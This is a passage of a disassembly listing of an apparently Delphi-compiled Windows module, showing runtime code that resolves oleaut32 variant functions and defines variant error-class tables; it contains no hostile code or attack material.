loc_2000C401:				; CODE XREF: sub_2000C3A0+59j
					; DATA XREF: sub_2000C3A0+4Co
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_2000C3A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000C40C	proc near		; DATA XREF: sub_2000C62C+19Eo

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		xor	eax, eax
		mov	[ebp+var_8], eax
		xor	eax, eax
		push	ebp
		push	offset loc_2000C479
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_2000C436
		mov	ebx, 80004001h
		jmp	short loc_2000C463
; ---------------------------------------------------------------------------


loc_2000C436:				; CODE XREF: sub_2000C40C+21j
		lea	eax, [ebp+var_8]
		mov	edx, [ebp+arg_0]
		call	sub_20004230
		mov	eax, [ebp+var_8]
		lea	edx, [ebp+var_1]
		call	sub_200073A0
		and	eax, 7Fh
		mov	ebx, ds:dword_2001432C[eax*4]
		cmp	[ebp+var_1], 1
		cmc
		sbb	eax, eax
		mov	edx, [ebp+arg_C]
		mov	[edx], ax


loc_2000C463:				; CODE XREF: sub_2000C40C+28j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000C480


loc_2000C470:				; CODE XREF: sub_2000C40C+72j
		lea	eax, [ebp+var_8]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000C479:				; DATA XREF: sub_2000C40C+Fo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000C470
; ---------------------------------------------------------------------------


loc_2000C480:				; CODE XREF: sub_2000C40C+6Cj
					; DATA XREF: sub_2000C40C+5Fo
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	10h
sub_2000C40C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000C48C	proc near		; DATA XREF: sub_2000C62C+1B4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_2000C49D
		xor	edx, edx
		mov	[eax], edx


loc_2000C49D:				; CODE XREF: sub_2000C48C+Bj
		xor	eax, eax
		push	ebp
		push	offset loc_2000C4EC
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_8], 400h
		jz	short loc_2000C4BB
		mov	ebx, 80004001h
		jmp	short loc_2000C4D6
; ---------------------------------------------------------------------------


loc_2000C4BB:				; CODE XREF: sub_2000C48C+26j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		call	sub_200083C0
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_10]
		call	sub_200047B0
		xor	ebx, ebx


loc_2000C4D6:				; CODE XREF: sub_2000C48C+2Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000C4F3


loc_2000C4E3:				; CODE XREF: sub_2000C48C+65j
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000C4EC:				; DATA XREF: sub_2000C48C+14o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000C4E3
; ---------------------------------------------------------------------------


loc_2000C4F3:				; CODE XREF: sub_2000C48C+5Fj
					; DATA XREF: sub_2000C48C+52o
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	14h
sub_2000C48C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000C4FC	proc near		; DATA XREF: sub_2000C62C+1CAo

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_2000C50D
		xor	edx, edx
		mov	[eax], edx


loc_2000C50D:				; CODE XREF: sub_2000C4FC+Bj
		xor	eax, eax
		push	ebp
		push	offset loc_2000C55C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_8], 400h
		jz	short loc_2000C52B
		mov	ebx, 80004001h
		jmp	short loc_2000C546
; ---------------------------------------------------------------------------


loc_2000C52B:				; CODE XREF: sub_2000C4FC+26j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_4]
		call	sub_20009410
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_10]
		call	sub_200047B0
		xor	ebx, ebx


loc_2000C546:				; CODE XREF: sub_2000C4FC+2Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000C563


loc_2000C553:				; CODE XREF: sub_2000C4FC+65j
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000C55C:				; DATA XREF: sub_2000C4FC+14o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000C553
; ---------------------------------------------------------------------------


loc_2000C563:				; CODE XREF: sub_2000C4FC+5Fj
					; DATA XREF: sub_2000C4FC+52o
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	14h
sub_2000C4FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000C56C	proc near		; DATA XREF: sub_2000C62C+1E0o

var_4		= dword	ptr -4
arg_0		= word ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	short loc_2000C57D
		xor	edx, edx
		mov	[eax], edx


loc_2000C57D:				; CODE XREF: sub_2000C56C+Bj
		xor	eax, eax
		push	ebp
		push	offset loc_2000C5D0
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	[ebp+arg_4], 400h
		jz	short loc_2000C59B
		mov	ebx, 80004001h
		jmp	short loc_2000C5BA
; ---------------------------------------------------------------------------


loc_2000C59B:				; CODE XREF: sub_2000C56C+26j
		cmp	[ebp+arg_0], 1
		sbb	eax, eax
		inc	eax
		lea	ecx, [ebp+var_4]
		xor	edx, edx
		call	sub_2000743C
		mov	edx, [ebp+var_4]
		mov	eax, [ebp+arg_C]
		call	sub_200047B0
		xor	ebx, ebx


loc_2000C5BA:				; CODE XREF: sub_2000C56C+2Dj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000C5D7


loc_2000C5C7:				; CODE XREF: sub_2000C56C+69j
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000C5D0:				; DATA XREF: sub_2000C56C+14o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000C5C7
; ---------------------------------------------------------------------------


loc_2000C5D7:				; CODE XREF: sub_2000C56C+63j
					; DATA XREF: sub_2000C56C+56o
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_2000C56C	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION SafeArrayCreate. PRESS KEYPAD "+"	TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION SafeArrayGetLBound. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION SafeArrayGetUBound. PRESS	KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION SafeArrayPtrOfIndex. PRESS KEYPAD	"+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000C600	proc near		; CODE XREF: sub_2000C62C+1Cp
					; sub_2000C62C+32p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, edx
		mov	edx, ebx
		mov	ecx, [ebp+arg_0]
		cmp	dword ptr [ecx-4], 0
		jz	short loc_2000C626
		push	eax		; lpProcName
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		push	eax		; hModule
		call	GetProcAddress_0
		mov	edx, eax
		test	edx, edx
		jnz	short loc_2000C626
		mov	edx, ebx


loc_2000C626:				; CODE XREF: sub_2000C600+Fj
					; sub_2000C600+22j
		mov	eax, edx
		pop	ebx
		pop	ebp
		retn
sub_2000C600	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000C62C	proc near		; CODE XREF: CODE:2000C971p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset dword_2000C824 ;	lpModuleName
		call	GetModuleHandleA_1
		mov	[ebp+var_4], eax
		push	ebp
		mov	edx, offset sub_2000C19C
		mov	eax, offset aVariantchanget ; "VariantChangeTypeEx"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157B4, eax
		push	ebp
		mov	edx, offset sub_2000C1CC
		mov	eax, offset aVarneg ; "VarNeg"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157B8, eax
		push	ebp
		mov	edx, offset sub_2000C1CC
		mov	eax, offset aVarnot ; "VarNot"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157BC, eax
		push	ebp
		mov	edx, offset sub_2000C1D8
		mov	eax, offset aVaradd ; "VarAdd"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157C0, eax
		push	ebp
		mov	edx, offset sub_2000C1D8
		mov	eax, offset aVarsub ; "VarSub"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157C4, eax
		push	ebp
		mov	edx, offset sub_2000C1D8
		mov	eax, offset aVarmul ; "VarMul"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157C8, eax
		push	ebp
		mov	edx, offset sub_2000C1D8
		mov	eax, offset aVardiv ; "VarDiv"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157CC, eax
		push	ebp
		mov	edx, offset sub_2000C1D8
		mov	eax, offset aVaridiv ; "VarIdiv"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157D0, eax
		push	ebp
		mov	edx, offset sub_2000C1D8
		mov	eax, offset aVarmod ; "VarMod"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157D4, eax
		push	ebp
		mov	edx, offset sub_2000C1D8
		mov	eax, offset aVarand ; "VarAnd"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157D8, eax
		push	ebp
		mov	edx, offset sub_2000C1D8
		mov	eax, offset aVaror ; "VarOr"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157DC, eax
		push	ebp
		mov	edx, offset sub_2000C1D8
		mov	eax, offset aVarxor ; "VarXor"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157E0, eax
		push	ebp
		mov	edx, offset sub_2000C1E4
		mov	eax, offset aVarcmp ; "VarCmp"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157E4, eax
		push	ebp
		mov	edx, offset sub_2000C1F0
		mov	eax, offset aVari4fromstr ; "VarI4FromStr"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157E8, eax
		push	ebp
		mov	edx, offset sub_2000C25C
		mov	eax, offset aVarr4fromstr ; "VarR4FromStr"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157EC, eax
		push	ebp
		mov	edx, offset sub_2000C2C8
		mov	eax, offset aVarr8fromstr ; "VarR8FromStr"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157F0, eax
		push	ebp
		mov	edx, offset sub_2000C334
		mov	eax, offset aVardatefromstr ; "VarDateFromStr"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157F4, eax
		push	ebp
		mov	edx, offset sub_2000C3A0
		mov	eax, offset aVarcyfromstr ; "VarCyFromStr"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157F8, eax
		push	ebp
		mov	edx, offset sub_2000C40C
		mov	eax, offset aVarboolfromstr ; "VarBoolFromStr"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_200157FC, eax
		push	ebp
		mov	edx, offset sub_2000C48C
		mov	eax, offset aVarbstrfromcy ; "VarBstrFromCy"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_20015800, eax
		push	ebp
		mov	edx, offset sub_2000C4FC
		mov	eax, offset aVarbstrfromdat ; "VarBstrFromDate"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_20015804, eax
		push	ebp
		mov	edx, offset sub_2000C56C
		mov	eax, offset aVarbstrfromboo ; "VarBstrFromBool"
		call	sub_2000C600
		pop	ecx
		mov	ds:dword_20015808, eax
		pop	ecx
		pop	ebp
		retn
sub_2000C62C	endp

; ---------------------------------------------------------------------------
; char dword_2000C824[]
dword_2000C824	dd 61656C6Fh, 32337475h, 6C6C642Eh, 0 ;	DATA XREF: sub_2000C62C+4o
aVariantchanget	db 'VariantChangeTypeEx',0 ; DATA XREF: sub_2000C62C+17o
aVarneg		db 'VarNeg',0           ; DATA XREF: sub_2000C62C+2Do
		align 10h
aVarnot		db 'VarNot',0           ; DATA XREF: sub_2000C62C+43o
		align 4
aVaradd		db 'VarAdd',0           ; DATA XREF: sub_2000C62C+59o
		align 10h
aVarsub		db 'VarSub',0           ; DATA XREF: sub_2000C62C+6Fo
		align 4
aVarmul		db 'VarMul',0           ; DATA XREF: sub_2000C62C+85o
		align 10h
aVardiv		db 'VarDiv',0           ; DATA XREF: sub_2000C62C+9Bo
		align 4
aVaridiv	db 'VarIdiv',0          ; DATA XREF: sub_2000C62C+B1o
aVarmod		db 'VarMod',0           ; DATA XREF: sub_2000C62C+C7o
		align 4
aVarand		db 'VarAnd',0           ; DATA XREF: sub_2000C62C+DDo
		align 10h
aVaror		db 'VarOr',0            ; DATA XREF: sub_2000C62C+F3o
		align 4
aVarxor		db 'VarXor',0           ; DATA XREF: sub_2000C62C+109o
		align 10h
aVarcmp		db 'VarCmp',0           ; DATA XREF: sub_2000C62C+11Fo
		align 4
aVari4fromstr	db 'VarI4FromStr',0     ; DATA XREF: sub_2000C62C+135o
		align 4
aVarr4fromstr	db 'VarR4FromStr',0     ; DATA XREF: sub_2000C62C+14Bo
		align 4
aVarr8fromstr	db 'VarR8FromStr',0     ; DATA XREF: sub_2000C62C+161o
		align 4
aVardatefromstr	db 'VarDateFromStr',0   ; DATA XREF: sub_2000C62C+177o
		align 4
aVarcyfromstr	db 'VarCyFromStr',0     ; DATA XREF: sub_2000C62C+18Do
		align 4
aVarboolfromstr	db 'VarBoolFromStr',0   ; DATA XREF: sub_2000C62C+1A3o
		align 4
aVarbstrfromcy	db 'VarBstrFromCy',0    ; DATA XREF: sub_2000C62C+1B9o
		align 4
aVarbstrfromdat	db 'VarBstrFromDate',0  ; DATA XREF: sub_2000C62C+1CFo
aVarbstrfromboo	db 'VarBstrFromBool',0  ; DATA XREF: sub_2000C62C+1E5o
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_2000C95D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_2001580C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000C964


loc_2000C95C:				; CODE XREF: CODE:2000C962j
		retn
; ---------------------------------------------------------------------------


loc_2000C95D:				; DATA XREF: CODE:2000C93Eo
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000C95C
; ---------------------------------------------------------------------------


loc_2000C964:				; CODE XREF: CODE:loc_2000C95Cj
					; DATA XREF: CODE:2000C957o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_2001580C, 1
		jnb	short locret_2000C976
		call	sub_2000C62C

locret_2000C976:			; CODE XREF: CODE:2000C96Fj
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 0CCh
; ---------------------------------------------------------------------------


loc_2000C979:				; DATA XREF: CODE:off_2000C99Ao
		add	dword ptr [esp+4], 0FFFFFFF8h
		mov	eax, [esp+4]
		mov	eax, [eax]
		jmp	dword ptr [eax]
; ---------------------------------------------------------------------------


loc_2000C986:				; DATA XREF: CODE:2000C99Eo
		add	dword ptr [esp+4], 0FFFFFFF8h
		jmp	loc_2000EF6C
; ---------------------------------------------------------------------------


loc_2000C990:				; DATA XREF: CODE:2000C9A2o
		add	dword ptr [esp+4], 0FFFFFFF8h
		jmp	loc_2000EF78
; ---------------------------------------------------------------------------
off_2000C99A	dd offset loc_2000C979	; DATA XREF: CODE:2000C9BAo
		dd offset loc_2000C986
		dd offset loc_2000C990
word_2000C9A6	dw 1			; DATA XREF: CODE:2000C9CCo
		dd 2 dup(0)
		dd 0C00000h, 0
		db 0, 46h
		dd offset off_2000C99A
		dw 8
		dd 0
		align 8
		dd offset off_2000CA14
		dd offset word_2000C9A6
		dd 6 dup(0)
		dd offset dword_2000CA50
		dd 0Ch
		dd offset off_2000100C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_2000EE80
off_2000CA14	dd offset sub_2000EF84	; DATA XREF: CODE:2000C9C8o
					; CODE:2000CA7Co
		dd offset sub_2000EF10
		dd offset sub_2000EF44
		dd offset sub_2000EF24
		dd offset sub_2000EF60
		dd offset sub_2000EF0C
		dd offset sub_2000ED80
		dd offset sub_2000EDB8
		dd offset sub_2000EE44
		dd offset sub_20002988
		dd offset sub_20002988
		dd offset sub_2000ED74
		dd offset sub_2000EF58
		dd offset sub_2000EE0C
		dd offset sub_2000EE00
dword_2000CA50	dd 75435412h, 6D6F7473h, 69726156h, 54746E61h, 90657079h
					; DATA XREF: CODE:2000C9E8o
		dd offset dword_2000CA68
dword_2000CA68	dd 43541207h, 6F747375h, 7261566Dh, 746E6169h, 65707954h
					; DATA XREF: CODE:2000CA64o
		dd offset off_2000CA14
		dd offset off_20001060
		dd 56080000h, 61697261h, 73746Eh, 408D00h
off_2000CA94	dd offset dword_2000CAE0 ; DATA	XREF: sub_2000D040+25r
		dd 7 dup(0)
		dd offset dword_2000CAE0
		dd 0Ch
		dd offset off_20006B1C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000CAE0	dd 61564516h, 6E616972h, 766E4974h, 64696C61h, 7245704Fh
					; DATA XREF: CODE:off_2000CA94o
					; CODE:2000CAB4o
		dd 90726F72h
off_2000CAF8	dd offset dword_2000CB44 ; DATA	XREF: sub_2000CF50+25r
					; sub_2000CFA4+65r
		dd 7 dup(0)
		dd offset dword_2000CB44
		dd 0Ch
		dd offset off_20006B1C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000CB44	dd 61564515h, 6E616972h, 70795474h, 73614365h, 72724574h
					; DATA XREF: CODE:off_2000CAF8o
					; CODE:2000CB18o
		dd 0C08B726Fh
off_2000CB5C	dd offset dword_2000CBA8 ; DATA	XREF: sub_2000D094+65r
					; sub_2000D184+DBr
		dd 7 dup(0)
		dd offset dword_2000CBA8
		dd 0Ch
		dd offset off_20006B1C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000CBA8	dd 61564515h, 6E616972h, 65764F74h, 6F6C6672h, 72724577h
					; DATA XREF: CODE:off_2000CB5Co
					; CODE:2000CB7Co
		dd 0C08B726Fh
off_2000CBC0	dd offset dword_2000CC0C ; DATA	XREF: sub_2000D184+199r
		dd 7 dup(0)
		dd offset dword_2000CC0C
		dd 0Ch
		dd offset off_20006B1C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000CC0C	dd 61564517h, 6E616972h, 766E4974h, 64696C61h, 45677241h
					; DATA XREF: CODE:off_2000CBC0o
					; CODE:2000CBE0o
		dd 726F7272h
off_2000CC24	dd offset dword_2000CC70 ; DATA	XREF: sub_2000D184+ABr
		dd 7 dup(0)
		dd offset dword_2000CC70
		dd 0Ch
		dd offset off_20006B1C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000CC70	dd 61564517h, 6E616972h, 64614274h, 54726156h, 45657079h
					; DATA XREF: CODE:off_2000CC24o
					; CODE:2000CC44o
		dd 726F7272h
off_2000CC88	dd offset dword_2000CCD4 ; DATA	XREF: sub_2000D184+101r
		dd 7 dup(0)
		dd offset dword_2000CCD4
		dd 0Ch
		dd offset off_20006B1C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000CCD4	dd 61564515h, 6E616972h, 64614274h, 65646E49h, 72724578h
					; DATA XREF: CODE:off_2000CC88o
					; CODE:2000CCA8o
		dd 0C08B726Fh
off_2000CCEC	dd offset dword_2000CD38 ; DATA	XREF: sub_2000D184+127r
		dd 7 dup(0)
		dd offset dword_2000CD38
		dd 0Ch
		dd offset off_20006B1C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000CD38	dd 61564518h, 6E616972h, 72724174h, 6F4C7961h, 64656B63h
					; DATA XREF: CODE:off_2000CCECo
					; CODE:2000CD0Co
		dd 6F727245h, 408D72h
off_2000CD54	dd offset dword_2000CDA0 ; DATA	XREF: sub_2000D130+25r
		dd 7 dup(0)
		dd offset dword_2000CDA0
		dd 0Ch
		dd offset off_20006B1C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000CDA0	dd 61564518h, 6E616972h, 72724174h, 72437961h, 65746165h
					; DATA XREF: CODE:off_2000CD54o
					; CODE:2000CD74o
		dd 6F727245h, 408D72h
off_2000CDBC	dd offset dword_2000CE08 ; DATA	XREF: sub_2000D184+14Dr
		dd 7 dup(0)
		dd offset dword_2000CE08
		dd 0Ch
		dd offset off_20006B1C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000CE08	dd 61564514h, 6E616972h, 746F4E74h, 6C706D49h, 6F727245h
					; DATA XREF: CODE:off_2000CDBCo
					; CODE:2000CDDCo
		dd 408D72h
off_2000CE20	dd offset dword_2000CE6C ; DATA	XREF: sub_2000D184+173r
		dd 7 dup(0)
		dd offset dword_2000CE6C
		dd 0Ch
		dd offset off_20006B1C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000CE6C	dd 61564518h, 6E616972h, 74754F74h, 654D664Fh, 79726F6Dh
					; DATA XREF: CODE:off_2000CE20o
					; CODE:2000CE40o
		dd 6F727245h, 408D72h
off_2000CE88	dd offset dword_2000CED4 ; DATA	XREF: sub_2000D184+1BCr
		dd 7 dup(0)
		dd offset dword_2000CED4
		dd 0Ch
		dd offset off_20006B1C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000CED4	dd 61564517h, 6E616972h, 656E5574h, 63657078h, 45646574h
					; DATA XREF: CODE:off_2000CE88o
					; CODE:2000CEA8o
		dd 726F7272h
off_2000CEEC	dd offset dword_2000CF38 ; DATA	XREF: sub_2000D418+25r
		dd 7 dup(0)
		dd offset dword_2000CF38
		dd 0Ch
		dd offset off_20006B1C
		dd offset sub_20003700
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_20003714
		dd offset nullsub_3
		dd offset sub_2000348C
		dd offset sub_200034A8
		dd offset sub_200034E4
dword_2000CF38	dd 61564515h, 6E616972h, 73694474h, 63746170h, 72724568h
					; DATA XREF: CODE:off_2000CEECo
					; CODE:2000CF0Co
		dd 0C08B726Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000CF50	proc near		; CODE XREF: sub_2000D184:loc_2000D213p
					; sub_2000EF2Cp
					; DATA XREF: ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		xor	eax, eax
		push	ebp
		push	offset loc_2000CF9A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_200144BC
		call	sub_20005994
		mov	ecx, [ebp+var_4]
		mov	dl, 1
		mov	eax, off_2000CAF8
		call	sub_2000A4E4
		call	sub_20003A08
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000CFA1


loc_2000CF91:				; CODE XREF: sub_2000CF50+4Fj
		lea	eax, [ebp+var_4]
		call	sub_20003FA8
		retn
; ---------------------------------------------------------------------------


loc_2000CF9A:				; DATA XREF: sub_2000CF50+8o
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000CF91
; ---------------------------------------------------------------------------


loc_2000CFA1:				; CODE XREF: sub_2000CF50+49j
					; DATA XREF: sub_2000CF50+3Co
		pop	ecx
		pop	ebp
		retn
sub_2000CF50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000CFA4	proc near		; CODE XREF: sub_2000D3E4+1Ap
					; sub_2000DD44+AAp ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_14], ecx
		mov	[ebp+var_18], ecx
		mov	[ebp+var_1C], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_2000D033
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_14]
		mov	eax, ebx
		call	sub_2000EB50
		mov	eax, [ebp+var_14]
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], 0Bh
		lea	edx, [ebp+var_18]
		mov	eax, esi
		call	sub_2000EB50
		mov	eax, [ebp+var_18]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 0Bh
		lea	eax, [ebp+var_10]
		push	eax
		push	1
		lea	edx, [ebp+var_1C]
		mov	eax, ds:off_200143D0
		call	sub_20005994
		mov	ecx, [ebp+var_1C]
		mov	dl, 1
		mov	eax, off_2000CAF8
		call	sub_2000A520
		call	sub_20003A08
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000D03A


loc_2000D025:				; CODE XREF: sub_2000CFA4+94j
		lea	eax, [ebp+var_1C]
		mov	edx, 3
		call	sub_20003FCC
		retn
; ---------------------------------------------------------------------------


loc_2000D033:				; DATA XREF: sub_2000CFA4+1Ao
		jmp	loc_200039D0
; ---------------------------------------------------------------------------
		jmp	short loc_2000D025
; ---------------------------------------------------------------------------


loc_2000D03A:				; CODE XREF: sub_2000CFA4+8Ej
					; DATA XREF: sub_2000CFA4+7Co
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_2000CFA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2000D040	proc near		; CODE XREF: sub_2000D184:loc_2000D243p
					; sub_2000DACC:loc_2000DB62p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		xor	eax, eax
		push	ebp
		push	offset loc_2000D08A
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		mov	eax, ds:off_200144A4
		call	sub_20005994
		mov	ecx, [ebp+var_4]
		mov	dl, 1
		mov	eax, off_2000CA94
		call	sub_2000A4E4
		call	sub_20003A08
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_2000D091


loc_2000D081:				; CODE XREF: sub_2000D040+4Fj
